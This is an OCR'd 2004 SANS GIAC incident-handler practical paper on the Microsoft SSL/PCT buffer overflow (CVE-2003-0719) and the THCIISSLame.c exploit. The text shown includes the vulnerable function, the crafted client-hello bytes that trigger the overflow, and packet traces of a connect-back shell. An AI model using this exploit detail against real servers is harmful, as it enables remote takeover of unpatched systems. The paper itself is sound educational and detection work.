GIAC

CERTIFICATIONS

Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering

"Hacker Tools, Techniques, and Incident Handling (Security 504)"
at http://www.giac.org/registration/gcih



http://www.giac.org
http://www.giac.org
http://www.giac.org/registration/gcih

GIAC Certified Incident Handler — GCIH
Practical Assignment
Version 3

GIAC CERTIFIED INCIDENT HANDLER

Microsoft SSL Library Remote Compromise
Vulnerability Exploitation Using
THCIISSLame.c

By:
Agustinus Wibisono

August 13, 2004

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



Table of Contents

Table Of CONTENTS ...t e e e e e e e e e e e eeeas 2
ADSIIACT .. 3
1. StatemMent Of PUIDOSE ...t e e e e e ee e e e e e e e e aeeeneanes 3
P2 I 1= =T o | o 1 PP 4
2.1 Vulnerability REFEIENCES .....uuuiii i e e e 4
2.2 Operating Systems AffECIEA.........ooeeiiiii e 4
2.3 Protocols/Services/Application AffECIEA ............eurieiiiiiiiiiiiiiiiiiee e 5
2.4 MiICroSOft SSL LIDIary ....coovviiieiii it e e e e e e e e e e 5
2.5 Transport Layer Security ProtOCOIS .........ocooiiiiiiiiiii e e 7
2.5.1 Secure SOCKEt LAYEr (SSL) 2.0 ..ccciiiiiieiiiiie ettt ettt ettt ettt e et e e e b e e anre e e 8
2.5.2 Private Communication Technology (PCT) 1.0 .....coiiiiiiiiiiiieiiie e 11

B STV T =T o | £ SRR 13
2.7 Description Of The VuInerability ............ccooiiiiiiiiii e 14
2.8 Description Of The AMACK ......coiii i e e e e e eaaaaees 17
2.9 Signatures Of The AMACK ........uueiiiiiiiiiee ettt eees 18
2.9.1 Detection Using Packet SNIffer .........cc.uuiiiiiii et 18
2.9.2 DeteCtion WIth SNOI .....ccoiiiiii e e e s e e e e e e snnneeas 21

3. The Platforms/ENVIFONMENTS .....cooiiiiiiiiiiiiie et e e 24
3.1 Victim's Platform ... 24
3.2 SOUICE NEEWOIK. ...ttt ettt ettt ettt ettt ettt ettt e et eeen e e e e e e ee e 24
G0 T = 10 =1 B 11T 0o 5 PSR 25
3.4 NEIWOIK DIGGIAM ....eeieiiieieiiiiieeeeeieeee ettt e et e e e e e e e e e e e e e e e e e e e e e ennnnee e 27
4. Stages Of The ALLACK .....uuuiii e e e e e e e e e 28
4.1 RECONMNAISSANCE ...ttt e 28
B2 SCANMING - 29
o T ¢ ] (o] [ To T I (SIS (=1 1 P 32
A N=T=T o o oo =TSP 38
4.4.1 Creating BaCKAOOI ACCESS......ciiiiiiiiiiiiee ettt et e st e e sibe e e e 38
4.4.2 FixXiNg VUINEIADIIILY .......coeiiiiiiiiee ettt e e e e e e et e e e e e e e e nnneeeeaaeeeeanns 44

4.5 COVEING TIACKS ... e 49
5. The Incident Handling PrOCESS .....coooiiiiiiiiii e 52
ST R e (=T 0T 1= (0] o E PP P PP PP PPPPPPPPPPPPP 52
LA (o [T o1 )oY 1o o O 55
RS B o] 01 ¢= 11 0] 1 4[] o | PP PPPPPPPPP 60
oI I S - To [ 0% 1o ] PP PPPPPPPPP 66
TR =TT 0 )T o PP PRRTTTTN 68
N I o TS0 o I =TT 1= o PP PPPPPPPPPP 69
6. Vulnerability and EXploit REfErenCes ... 71
RETEIBINCES ...ttt ettt ettt ettt et e et et et et e e eeeeeeees 73
ApPPENdiX A: THCHSSLAME.C ... e e e 77
2

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



Abstract

This paper is mainly written to fulfill the practical requirement of GIAC Certified Incident
Handler (GCIH) certification. In general, the author hopes that it can also be used as a
source of information and reference for other security professionals.

Based on the practical guidelines, the paper is organized in several sections, which
describes an attack towards a fictitious company, Mygiftonline.com, exploiting
vulnerability in Microsoft SSL implementation and the process of handling the incident
as the effect of the attack.

Discussion on the vulnerability exploited to compromise the system will be presented in
the first section, which includes the vulnerability, the exploit and the underlying protocols
and applications. In the subsequent section, the exploit is used as part of five stages of
attack against the victim company’s web server. Lastly, six steps incident handling
process carried out to investigate the compromise of the system are demonstrated.

1. Statement of Purpose

Most organizations utilize Internet to help them with their businesses, mainly using two
most popular services, web and email. They use web servers to publish information,
and many of them use these servers for electronic transactions, protected by SSL
protocol. It is critical however, despite the confidence of many people that SSL is secure
enough, to ensure that no vulnerabilities can be exploited through SSL services.

Using SSL library vulnerability found in Microsoft Windows operating systems,
exploitation of SSL services is possible, causing buffer overflow that allows the attacker
to remotely gain shell access on the server.

In this paper, the exploit for the above vulnerability will be used to attack a fictitious
organization through their secure web server. The ultimate goal of the attack is to gain
administrative access of the server, then steal confidential information from it.

Five stages of attack will be carried out. Firstly, knowing about the vulnerability, the
attacker performs reconnaissance to find information about the target organization. This
is then followed by scanning phase to find out about the target operating system and
server types and versions, to see if it is affected by the vulnerability. Exploitation
process begins next using the exploit, to get the access to the network. Upon successful
exploitation, shell access to the system with administrative privilege will be available to
the attacker, which allows him to do anything he wants on the system.

To maintain access on the system the attacker plants a backdoor, and then fixes the
vulnerability, in order to prevent anyone else to get access using the same way. Lastly,
in order to maintain detection, several actions are carried out to cover his tracks in
compromising the system.
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2. The Exploit

The vulnerability being discussed here is Microsoft SSL Library Remote Compromise
vulnerability, found by Internet Security System’s X-Force team.

Exploit used to attack this vulnerability is THCIISSLame.c created by Johnny Cyberpunk
of THC. Version 0.3 of the exploit can be found at
http://www.thc.org/exploits/THCIISSLame.c

2.1 Vulnerability References
The following are the associated references related to the vulnerability.

CVE Candidate CAN-2003-0719
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0719

ISS X-Force Advisory #168, Microsoft SSL Library Remote Compromise Vulnerability
http://xforce.iss.net/xforce/alerts/id/168

Bugtraq ID #10116, Microsoft Windows Private Communications Transport Protocol
Buffer Overrun Vulnerability
http://www.securityfocus.com/bid/10116

US-CERT Technical Cyber Security Alert TA04-104A, Multiple Vulnerabilities in
Microsoft Products
http://www.us-cert.qgov/cas/techalerts/TA04-104A.html

US-CERT Vulnerability Note VU#586540, Microsoft Private Communication Technology
(PCT) fails to properly validate message inputs
http://www.kb.cert.org/vuls/id/586540

Microsoft Security Bulletin MS04-011
http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx

2.2 Operating Systems Affected

The following operating systems are affected by the vulnerability:
e Microsoft Windows 2000 SP2 to SP4
e Microsoft Windows NT version 4 SP6a
e Microsoft Windows XP up to SP1
e Microsoft Windows Server 2003
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Windows 2003 is only vulnerable when the PCT protocol enabled manually. It is
disabled by default.

2.3 Protocols/Services/Application Affected

This vulnerability is found in the SSL library that is shared by many services. Therefore
potentially any Microsoft Windows applications or services that use SSL are affected.

Several applications affected include:
e Internet Information System (11S) versions 4.0, 5.0 and 5.1, when SSL is enabled
Affected services:
= HTTPS, running on TCP port 443
e Microsoft Exchange Server versions 5.0, 5.5, 2000 and 2003 with SSL enabled
Affected services:
= HTTPS, running on TCP port 443, used by Outlook Web Access
SMTP, running on TCP port 25, when STARTTLS? is used
IMAP4 over SSL, running on TCP port 993
POP3 over SSL, running on TCP port 995
NNTP over SSL, running on TCP port 563
e Active Directory with SSL enabled
Affected services:
= LDAPS, running on TCP port 636
= GlobalcatLDAPssI, running on TCP port 3269

Greater exposure is for those services exposed directly to Internet, which among the
above affected applications or protocols, main concern is for HTTPS that is widely used
to secure Internet web servers, as well as in Exchange Server context, Outlook Web
Access. While for SMTP, although mail servers are also publicly available on the
Internet, not many are utilizing STARTTLS. Same thing goes for IMAP4, POP3 or NNTP
over SSL. Exchange Server users mainly go for Outlook Web Access.

Active Directory protocols are not normally exposed to the Internet.

2.4 Microsoft SSL Library
As mentioned earlier, Microsoft SSL Library is a shared component used by many
services. This library is referred to as Secure Channel (SChannel) security package,

located in the schannel.dll as the security provider.

Security provider is the dynamic link library that makes the security packages available
to the applications that require them. The security packages themselves are

! http://xforce.iss.net/xforce/alerts/id/168

2 Depends whether PCT protocol is enabled or not.

3 SMTP in Exchange Server does not use separate port for SSL, but is using Transport Layer Security (TLS),
activated through the SMTP protocol conversation (STARTTLS). See details at
http://support.microsoft.com/default.aspx?scid=kb;en-us;:278339 and _http://www.rfc-editor.org/rfc/rfc3207.txt
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implementations of specific security protocols. However, these two terms seems to be
used interchangeably in Microsoft’'s documentations regarding this subject.

SChannel is accessible through Security Service Provider Interface (SSPI). SSPl is a
Win32 system API, providing a common interface for transport level applications, for
example IS, to access security providers, for example SChannel, which are mainly
authentication services. The architectural view can be seen in Figure 1. As shown,
under SSPI, there are several others security providers besides SChannel. SSPI allows
the mapping of multiple transport level applications to use multiple security providers,
and provides access transparency for applications without knowing the details of each
security provider.

SChannel provides authentication services to applications using public key certificates.
The protocols implemented in SChannel are transport layer protocols allowing not only
authentication with certificates, but also message integrity verification and encryption of
the communication between client and server.

Architecture For Multiple
Authentication Services

Figure 1. Architectural View of SSPI*

There are several protocols included in the SChannel:
e PCT (Private Communication Technology) version 1.0
e SSL (Secure Socket Layer) version 2.0
e SSL (Secure Socket Layer) version 3.0
e TLS (Transport Layer Security) version 1.0

4 Diagram is taken from distsecserv.doc, Secure Networking Using Windows 2000 Distributed Security Services,
http://www.microsoft.com/windows2000/techinfo/howitworks/security/distsecservices.asp
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SSL 3.0 and TLS 1.0 are the mainly used protocols for transport layer secure
communication to date. SSL 2.0 and PCT 1.0 are included for backward compatibility
with legacy applications, but unfortunately are enabled by default in Windows platforms
listed in the Operating System Affected section above. Enabling of these two protocols
provides the way to exploit the SSL vulnerability.

When request is initiated to SChannel, the appropriate protocol to be used is negotiated
automatically. Negotiation of protocol to use depends on which are enabled and then
requested by the client as well as which are enabled the server. Taking example of
Internet Explorer, the most widely used browser, assuming that the four protocols are
enabled on both client and server, the precedence of choosing the protocol to use will
be from the most secure to the less secure, that is TLS 1.0, SSL 3.0, PCT 1.0 and lastly
SSL 2.0.

These four protocols provide similar functionality as to provide transport layer security,
although with different implementation. They are using same initial packet format,
allowed the server supporting the four to distinguish which protocol is used by the client.

2.5 Transport Layer Security Protocols

PCT, SSL and TLS are protocols that run at the transport layer of the TCP/IP protocol
suites, between the TCP (Transmission Control Protocol) and application layers,
providing encapsulation and encryption to the application layer protocols such as HTTP,
POP3, IMAP, etc. They use TCP to provide reliability in the communication. With the
encryption being done, the actual application layer protocols and data are hidden from
other parties than the source and destination hosts. Figure 2 provides illustration of the
TCP/IP layers (without showing UDP) and the placement of transport layer security
protocols in the TCP/IP layers.

Application
Application )
Transport Layer Security
Protocols
TCP TCP
IP IP

Figure 2. TCP/IP Layers Without and With Transport Layer Security Protocols

Digital certificates are used, mandatory by the server to provide server authentication to
client, and optionally by the client for client authentication to the server. Keys are
derived from these certificates for the encryption process. Data integrity is also feature
of these protocols, with the inclusion of integrity checking using hashing mechanism.

v
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Types of cryptographic algorithms to use are negotiated by client and server, during the
protocol communication.

Various types of encryption algorithms are used by each protocol, which include:

e Asymmetric encryption
With each communicating party posses a pair of keys, private and public keys,
this encryption type is used for key exchange (asymmetric encryption is more
secure but slower). Keys being exchanged are those used for data encryption
using symmetric algorithm. Public keys are included in the server and client
certificates sent to the other party. Algorithms used include RSA, Diffie-Hellman
and Fortezza,

e Symmetric encryption
This type of encryption is using the same key (secret key) for both
communicating parties, which make it less secure but faster in the encryption-
decryption process. Therefore, this is used for main data encryption. The key is
exchanged securely by the asymmetric encryption. Algorithms used include DES,
3DES, IDEA, RC2 and RCA4.

e Hashing algorithm
This is a one-way encryption function that is not reversible. Because of that, it is
used for integrity checking, by comparing the hash results, where two same data
will produce the same hash. Algorithms used include MD5 and SHA-1.

SSL 2.0 was initially proposed by Netscape Communication as an open standard to be
used for secure communication, mainly with HTTP. While Microsoft, together with Visa
International, released PCT, with improved features that address some problems with
SSL 2.0, but still using compatible format with SSL. However, PCT was not widely use
as SSL 3.0, released by Netscape, which provides a more complete solution to enhance
SSL 2.0, and has become the major protocol used today. In order to create a standard
protocol, Internet Engineering Task Force (IETF) built a new protocol on top of SSL 3.0,
that is TLS 1.0, which will be a replacement to SSL 3.0.

Sections below discussed SSL 2.0 and PCT protocols in more detail, by limiting
explanations to those relevant to the vulnerability discussed here. SSL 3.0 and TLS 1.0
are not discussed, because they are not related to the SSL library vulnerability.

2.5.1 Secure Socket Layer (SSL) 2.0

SSL 2.0 protocol messages are contained in records, where each consists of header
and data, and defined as SSL Record Layer.
There are three types of messages:
¢ Handshake messages
These are messages exchanged by client and server to establish secure
communication for data transfer
e Security Escapes
In SSL 2.0, this type of messages are reserved for future use
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e Application data transfer

This is the type of messages that contain the data to be transferred in the

encrypted format.

Prior to data transfer, SSL client and server exchange handshake messages to

negotiate parameters to be used.

There are two phases in this handshaking process:

e Phasel

This is the initial phase, where the client initiates the connection to the server,
and the server responds accordingly. Server certificate is sent to the client and
keys are exchanged. During this phase, the client authenticates the server

e Phase 2

This phase is used for server to perform authentication of the client. However,
because client authentication requires client certificate, and this is not a common

practice nor practical, the protocol specification treat this as optional.

Figure 3 explains the handshaking process, and described further below:

Client

1 client-hello

2 server-hello

3 client-master-key

4 server-verify

5 client-finish

6 request-certificate

7 client-certificate

8 server-finish

Server

Figure 3. SSL 2.0 Handshaking

1. Initially, client sends client-hello message to the server, containing its SSL version,

cipher types that it supports, session identifier and challenge data.

© SANS Institute 2004, As part of GIAC practical repository.
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2. Upon receiving the client-hello, the server responds with server-hello, by sending its
certificate, supported ciphers, session identifier and connection identifier.

3. If the session is new, means that no previous session identifier was found by client,
the client generates master key and will then send this master key encrypted with
server’s public key. This is the client-master-key message. Both client and server
use master key to generate other session keys. Client-master-key message is not
sent if the client found the existing session identifier for the server in its cache,
therefore this is a reconnection, and previous master key can be used.

4. Finishing phase one, server sends the server-verify message indicating that it is able
to use the same key to encrypt the challenge data previously send with client-hello.
Therefore, the client can trust the server identity.

5. Whether client-master-key is sent or not, the client will then send client-finish to the

server, indicating that it finish authenticating the server.

If the client certificate is required, server will send request-certificate.

This should be replied by client-certificate message sent by the client.

The last handshaking message is sent by the server, server-finish, indicates that it

satisfied with the information requested from the client. After this message, the

application data transfer can be started.

© N o

The client-hello message of SSL 2.0, as the first message by client initiating the
connection, is using the format as described in table below, with the top field will be the
first element of the SSL record.

Record Fields Length Remarks
record-length 2 bytes

Header padding 1 byte optional
msg-client-hello 1 byte
client-version 2 bytes

cipher-specs-length | 2 bytes

session-id-length 2 bytes

challenge-length 2 bytes

cipher-specs-data >0 bytes, multiple of 3 bytes
session-id-data 0 or 16 bytes
challenge-data >=16 bytes and <= 32 bytes

Data

The record header can be two or three bytes, depending on whether padding is
required. The most significant bit on the first byte of the record-length is set to 1 if
padding is not required. Padding is required to complete the number of bytes required
for the block cipher algorithm to encrypt and decrypt the data. Padding field defines the
number of bytes required for padding.

The msg-client-hello defines the type of message, which is the client-hello message,
with hexadecimal value 0x01. SSL version used by the client is shown in the client-
version field, with hexadecimal value 0x0002.

Choices of cipher algorithms offered by client to server are listed in the cipher-specs-
data field, where each cipher choice consists of 3 bytes. Total length of this field is
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defined in cipher-specs-length, which will be a multiple of 3. Session identifier (session-
id) may not exist (session-id-length is 0), indicating that no previous session has been
established, or 16 bytes if there is a previous session identifier.

Challenge data is a random value generated by client that is sent to the server. This is
used to authenticate the server, by comparing the challenge sent back by the server
with the server-verify message. The length of the challenge is specified by the
challenge-length field, with the content of the challenge is placed in the challenge-data
field.

Other message formats are not discussed here. They can be found in the SSL 2.0
specification®. Explanation above is also taken from the specification.

2.5.2 Private Communication Technology (PCT) 1.0

PCT was designed to provide a better alternative than SSL 2.0, by using similar
characteristics as SSL 2.0

Similar to SSL 2.0, PCT protocol messages also contained in records, consisting of
header and data, and called PCT Record Layer. Three types of protocol messages are
defined as in SSL 2.0, which are handshake messages, security escapes and
application data transfer. With PCT, security escapes are utilized for communicating
out-of-band data or sending a redo-handshake message, to request another protocol
handshake to be carried out.

Client and server using PCT start the protocol communication by sending handshake
messages, as shown in Figure 4.
‘ 1 client-hello >

< 2 server-hello ‘
Client Server

3 client-master-key

< 4 server-verify

Figure 4. PCT 1.0 Handshaking

5 SSL 2.0 Protocol Specification, http://wp.netscape.com/eng/security/SSL_2.html
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. Client first sends a client-hello message to the server, containing its PCT protocol
version, challenge data, session identifier and type of cryptographic algorithms that it
can support. Session identifier can be either zero value, which means this is a new
connection, or certain value found in the client cache, means that the connection has
previously been established.

. The server responds with server-hello, sending its certificate (if session identifier
sent by client is zero, or cannot be recognized by server), and type of crypto
algorithms supported by server. Certificate will not be sent if the session identifier
sent by client is found in the server cache. If client certificate is required, server will
indicate this in the server-hello message.

When the session is not new and no client authentication is required, handshake
messages stop here, and data transfer can begin.

If the session is new, client sends the client-master-key message that contain the
master key generated by the client, encrypted with server’s public key (taken from
the server certificate). Client certificate is sent with this message, if requested. If
session is not new and client authentication is required, client-master-key message
contains the client certificate.

. Lastly, server-verify message is sent by server, containing the encrypted form of
initial challenge data sent by client with client-hello message. The client uses this
message to verify that communication is being done with the correct server that
knows the correct keys. Subsequently, secure data transfer can be carried out.

The client-hello message format of PCT protocol is described in the table below.

Record Fields Length Remarks
Header record-length 2 bytes

padding-length 1 byte optional

msg-client-hello 1 byte

client-version 2 bytes

pad 1 bytes

session-id-data 32 bytes

challenge-data 32 bytes

offset 2 bytes

cipher-specs-length | 2 bytes
hash-specs-length | 2 bytes
cert-specs-length 2 bytes
exch-specs-length | 2 bytes
key-arg-length 2 bytes
cipher-specs-data >0 bytes, multiple of 4 bytes
hash-specs-data >0 bytes, multiple of 2 bytes

Data

cert-specs-data >0 bytes, multiple of 2 bytes
exch-specs-data >0 bytes, multiple of 2 bytes
key-arg-data depends on key-arg-length

Record header can be two or three bytes, depending whether padding is required or
not. Padding usage here is similar to that of SSL 2.0 explained previously.
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Hexadecimal value of msg-client-hello is 0x01, indicating that this is a client-hello
message. The client version in client-version field is 0x8001, indicating PCT version 1.0.
The pad field may contain any value, and no specific function of this field is given.

The session-id-data, contains the value of session identifier if any, or zero value.
Challenge data that is randomly generated by the client is put into the challenge-data
field. The offset field, with the value OXO00A, represents the number of bytes after this
field that are fixed-length fields.

There are four types of crypto algorithms used in this client-hello message:

e cipher-specs-data
Represents the options for symmetric ciphers supported by client. Each cipher
types consist of 4 bytes, and total length is specified by cipher-specs-length

¢ hash-specs-data
Represents the options for hash functions supported by client. Each hash
functions choice consist of 2 bytes, and total length is specified by hash-specs-
length.

e cert-specs-data
Represents the type of certificate format supported, each consist of 2 bytes. Total
length is specified by cert-specs-length.

e exch-specs-data
Represents the type of asymmetric key exchange algorithm supported, each
consist of 2 bytes. Total length is specified by exch-specs-length.

A more detail information about PCT protocol can be found in its specification®.
Explanation above is also taken from the specification.

Server can differentiate the type of protocol requested by client, by looking at the client-
version field that is located at the same position in the client-hello message, as can be
seen in the two protocols above. This is also the same case with SSL 3.0 and TLS 1.0.

2.6 Variants

There are three exploits exist at this point of time, for the vulnerability, as can be seen
below.

e THCIISSLame.c
Besides the version 0.3 that is used for the attack, there are two other previous
versions, 0.1 and 0.2, also written by Johnny Cyberpunk.

Version 0.1 exploits the vulnerability in the same way as version 0.3, but it creates a
port binding shell at TCP port 31337. Therefore, after the stack overflowing is

® The Private Communication Technology (PCT) Protocol, http://www.graphcomp.com/info/specs/ms/pct.htm
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successful, the client, where the exploit runs, sends another connection to that port
on the server in order to get the shell.
Version 0.1 can be found at http://www.security.nnov.ru/files/THCIISSLame.c

Version 0.2 changes the connection to the shell by using connect-back shell. This
means that after stack overflow, the server is making a connection back. Connection
back can be made to any specified IP address and is done over any specified TCP
port.

Version 0.2 can be found at http://www.k-
otik.com/exploits/04212004.THCIISSLame.c.php

Version 0.3 is similar to version 0.2, with minor update on the code to address
problem with zero IP or ports, and removal of a delay function (sleep).

e iisbx_ssl pct.pm
This is the 1IS 5.x SSL PCT Overflow module for Metasploit Framework 2.0 by H D
Moore to exploit the SSL vulnerability. This module was developed based on
THCIISSLame.c.

Metasploit framework is an application environment that is used to write and run
exploit code. It consists of core fixed component, and multiple modules that each of
them is the exploit code specific to certain vulnerability.

More on Metasploit framework can be found on http://www.metasploit.org

This module can be found at http://www.k-
otik.com/exploits/04242004.iis5x ssl pct.pm.php

e windows_ssl_pct.pm
This is also a module for Metasploit Framework 2.0 by H D Moore, and is an
enhancement of iis5x_ssl_pct.pm. This module can be used to target any TCP ports
or application that is using SSL, compare to the previous two exploits that can only
be used against IIS that runs SSL (HTTPS).

This module can be found at
http://downloads.securityfocus.com/vulnerabilities/exploits/windows ssl pct.pm

2.7 Description Of The Vulnerability

The vulnerability was discovered by Internet Security Systems (ISS) X-Force team, and
was published on April 13, 2004. On the same day, Microsoft published Security Bulletin
MS04-011 together with the security update, to explain about this vulnerability and how
to mitigate the problem. Juliano Rizzo” and Kyle C. Quest® have also done very good

" A Technical description of the SSL PCT vulnerability (CVE-2003-0719)
http://www.securityfocus.com/archive/1/361836
8 CVE-2004-0719: Microsoft SSL PCT vulnerability, http://www.unital.com/research/ms_ssl_pct.pdf
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analysis explaining the vulnerability and the exploitation process. Explanation below is
mainly based on their work.

The vulnerability is a buffer overflow condition that is found in the SSL library, schannel,
and occurs when it handles a specific PCT 1.0 handshake packet. The process is
performed by a routine that is located in schannel.dll. It is not the vulnerability of the
PCT 1.0 protocol, however, but rather of the code in the system that processes the
protocol. The buffer overflow can only occur when both SSL 2.0 and PCT 1.0 protocol
support is enabled on the server. Unfortunately, they are enabled by default in the
operating systems affected.

The vulnerable function can be reached only when the packet sent is the client-hello
message of SSL 2.0, but indicating the use of PCT 1.0. As explained by Kyle C. Quest
in his paper, apparently Microsoft originally used SSL 2.0 client-hello packet with special
cipher-specs type as the first cipher-specs, to request the use of PCT 1.0 protocol.
Referring to the SSL 2.0 client-hello format previously explained, there are 3 bytes in
each cipher-specs type. Microsoft used a hexadecimal value of 0x8f for the first byte,
and hexadecimal value 0x8001 or above in the second and third byte for this purpose.

The current implementation of PCT 1.0 is no longer using the SSL 2.0 client-hello, but
use its own, as explained previously in the PCT protocol section. However, the
functionality to handle this is still exists, which include the vulnerable function.

Specifically, the vulnerable function is used to extract and modify challenge data from
the client-hello packet (for PCT 1.0 with SSL 2.0 client-hello). PCT 1.0 client-hello
defines and locates challenge data differently from SSL 2.0, which means this function
is not used for it.

Depicted from Juliano Rizzo’s analysis®, the following C codes illustrate the vulnerable
function:

function(char *packet, unsigned int N)
char buf[32];
unsi gned int register i;
if(N < 32)

mencpy( buf, packet, N);
for(i =0; i <N i++4)
buf[i +N] = ~buf[i];

}

Looking at the SSL 2.0 client-hello format, the variable N here represents the length of
challenge data, extracted from challenge-length field, which should contain value
between and including 16 and 32 (represent the challenge data size in bytes). The
memcpy instruction copies the challenge data from the client-hello packet, as many as
N bytes to the local variable, buff, an array with 32 bytes in size.

° A Technical description of the SSL PCT vulnerability (CVE-2003-0719)
http://www.securityfocus.com/archive/1/361836
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The last instruction is where the buffer overflow can occur, when the value of N is 17 or
above. When N is 17, the value of i+N will be ranging from 0+17, 1+17, 2+17, ... until
16+17. Buffer overflow starts to occur when the value of i is 15, which means i+N is
15+17 equal to 32. This will point to buf[32], which is beyond the size provided in the
variable declaration that only ranging from buf[0] until buf[31].

When the array point beyond its size, it will point to areas in the memory, the stack, that
may contain other data or address, and is possibly able to change the content in those
memory areas. Stack is a memory area allocated to a program, used for procedure or
function call. It uses a Last In First Out (LIFO) method of saving and retrieving data to
and from it. The last data that is saved to the stack will be the first data that being
retrieved. When the function is called, the function arguments, return address of the
calling program, frame pointer and local variables of the function will be pushed into the
stack sequentially. Once the function execution finishes, those components will be
popped from the stack in the reverse order.

lllustration of the stack from the function above can be seen in Figure 5. To simply
demonstrate, the stack contains the return address (RET) of the calling program,
previous frame pointer (EBP) and local variables. The buffer assigned for the buf array
is allocated under the EBP, with the size of 32 bytes. Each memory address consist of 4
bytes, therefore there are 8 memory addresses allocated for buf array. In this case,
when buf[32] is reached, it will reference a memory area allocated for the EBP.

RET

EBP

buf

stack filling direction

Figure 5. Stack Illustration

By inserting the right number of challenge-length in the client-hello packet, an attacker
can replace the right location in the stack with certain data or codes that he wants.
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2.8 Description Of The Attack

The exploit, THCIISSLame.c, was created to exploit the vulnerability in the function
described above. Exploitation of buffer overflow is performed to create a shell
connection back to the sender of the exploit, which then through the shell, access to the
operating system will be available.

THCIISSLame.c is specifically designed to exploit the vulnerability through TCP port
443, mainly used by IIS web server. The shell connection can be specified to connect
from the exploited web server to any specified port and a specified IP address.

In general, to achieve the above objective, the exploit must do the following:

e Create an SSL 2.0 client-hello packet, with special cipher-specs to signal the
request for PCT 1.0, in order to reach the vulnerable function

e Allocate the right challenge-data value, in order to replace the return address
(RET) in the stack, with the address of the shell code. By doing this, instead of
going back to the calling program or function, the function will jump into the
address specified, which is the location of the shell code.

e Create the shell code that allow the initiation of shell connection and place it in
the correct address.

e Send the packet and listen on the specified port to accept incoming shell
connection.

As seen in the exploit’s source code, main components of the SSL client-hello is defined
in the following variable declaration:

char sslshit[]="\x80\x62\x01\ x02\ xbd\ x00\ x01\ xO0\ x01\ x00\ x16\ x8f \ x82\ x01\ x00\ x00\ x00";

Using the SSL 2.0 client-hello message format as reference, this string can be further
broken down into different parts, as shown in the table follows.

Values Description
\ x80\ x62 Packet Length
\ x01 Client-hello message type
\ SSL version 2.0, or handled by Microsoft servers as SSL version
x02\ xbd 20
\ x00\ x01 Cipher-specs length
\ x00\ x01 Session ID length
\ Xx00\ x16 Challenge Data length
\ x8f \ x82\ x01 Cipher-specs
\ x00\ x00\ x00 Session ID data

It is not necessary for the packet to be fully compliant with SSL 2.0 specification in order
for it to be processed by the receiving Microsoft server. Sequence of the fields does
follow the specification. While some contents of the fields do not.
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Packet length and message type follow the specification. The SSL version content is
slightly different because in the specification, version 2.0 should use 0x0002. However,
here it works with values under 0x0300. Cipher-specs length and session ID length do
not follow the specification either. Cipher-specs data specified is a unique value, as
explained earlier. This is the packet content that will reach the vulnerable function.

The right value to overwrite the return address is 0x0016. The return address is
overwritten with the location of the shell code. The shell code created is defined in the
“shellcode” string.

Once the packet content is crafted, the main action of the exploit is to send this packet
through the socket connection to the server. The exploit program is then listening on
specified port to be ready to accept the connection from the server upon successful
exploitation.

The source code of the exploit can be found in the Appendix A.

2.9 Signatures Of The Attack

Attack using this exploit occurs over two TCP ports:

e TCP port 443, normally used for HTTPS connection
This is the initial connection by the exploit using the SSL 2.0 client-hello, with
special message structure. The connection is initiated from the client, where the
exploit is run, to the server as the target.

e Selected TCP port, as the connect back port
This is where the shell connection is running. The connection is initiated from the
compromised server, to the client, where the exploit is run.

There are several methods that can be used to detect the attack performed by the
exploit, using packet sniffer and Intrusion Detection System.

2.9.1 Detection Using Packet Sniffer

Using sniffer like Tcpdump (http://www.tcpdump.org) or Windump
(http://windump.polito.it), specific conversation patterns between the client machine and
the server when the attack is progressing can be identified, as shown in the packet
traces below.

In these traces, 192.168.1.222 is the client, 192.168.1.111 is the server, connect back
port is 40000.

First of all, TCP three way handshake initiated from the client to the server on port 443:
SYN, SYN/ACK and ACK
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23:04:11. 142965 | P 192.168.1.222.1036 > 192.168.1.111.443: S 612912958:612912958
(0) win 16384 <mss 1460, nop, nop, sackOK> ( DF)

23:04:11.143439 I P 192.168.1.111.443 > 192.168.1.222.1036: S 1494384517: 14943845
17(0) ack 612912959 win 17520 <mss 1460, nop, nop, sackOK> ( DF)

23:04:11. 143476 |1 P 192.168.1.222.1036 > 192.168.1.111.443: . ack 1 win 17520 (DF)

Connection established, client send the malicious client-hello packet. This packet is
further explained later on, containing the most reliable detection of the attack. The
packet content must be observed (using the hexadecimal and ASCII dump) in order to
see the attack. Or else, it looks just like a normal HTTPS traffic, as seen next. This is
the only SSL handshake message need to be sent, as there are no actual HTTPS traffic
really communicated.

23:04:11. 143634 | P 192.168.1.222. 1036 > 192.168.1.111.443: P 1:352(351) ack 1 win
17520 (DF)

If exploitation successful, server will initiate three way handshake on the chosen port (in
this case 40000) to the client.

23:04:11.152093 I P 192.168.1.111.1039 > 192.168. 1. 222. 40000: S
1494460238: 1494460238(0) wi n 16384 <nss 1460, nop, nop, sackOK> ( DF)

23:04:11. 152170 I P 192.168. 1. 222. 40000 > 192.168.1.111.1039: S 612948967: 612948967(0)
ack 1494460239 win 17520 <mss 1460, nop, nop, sackOK> ( DF)

23:04:11. 152505 | P 192.168. 1.111. 1039 > 192.168. 1. 222. 40000: . ack 1 win 17520 (DF)

Server sends its shell to the client. As seen in the ASCII interpretation of the packets
sent by the server (shown in bold), there are standard greetings of Windows shell.
Default directory is WINNT\system32.

23:04:11.187682 I P 192.168.1.111. 1039 > 192.168. 1. 222. 40000: P 1:43(42) ack 1 win

17520 (DF)

0x0000 4500 0052 0244 4000 8006 73c4 cOa8 016f E.RD@..5S....0
0x0010 cO0a8 Olde 040f 9c40 5913 a74f 2488 dbe8 ....... @..cs. ..
0x0020 5018 4470 7bea 0000 4d69 6372 6f73 6f66 P. Dp{...M crosof
0x0030 7420 5769 6e64 6f77 7320 3230 3030 205b t. W ndows. 2000. [
0x0040 5665 7273 696f 6e20 352e 3030 2e32 3139 Ver si on. 5. 00. 219
0x0050  355d 5]

23:04: 11. 365227 | P 192.168. 1. 111. 1039 > 192. 168. 1. 222. 40000: P 43: 106(63) ack 1
win 17520 (DF)

0x0000 4500 0067 0246 4000 8006 73ad c0a8 016f E..g.F@..s....0
0x0010 c0a8 0lde 040f 9c40 5913 a779 2488 dbe8 ....... @..ys. ..
0x0020 5018 4470 0006 0000 0dOa 2843 2920 436f P.Dp...... (O.Co
0x0030 7079 7269 6768 7420 3139 3835 2d32 3030 pyright.1985- 200
0x0040 3020 4d69 6372 6f73 6f66 7420 436f 7270 0. M crosoft. Corp
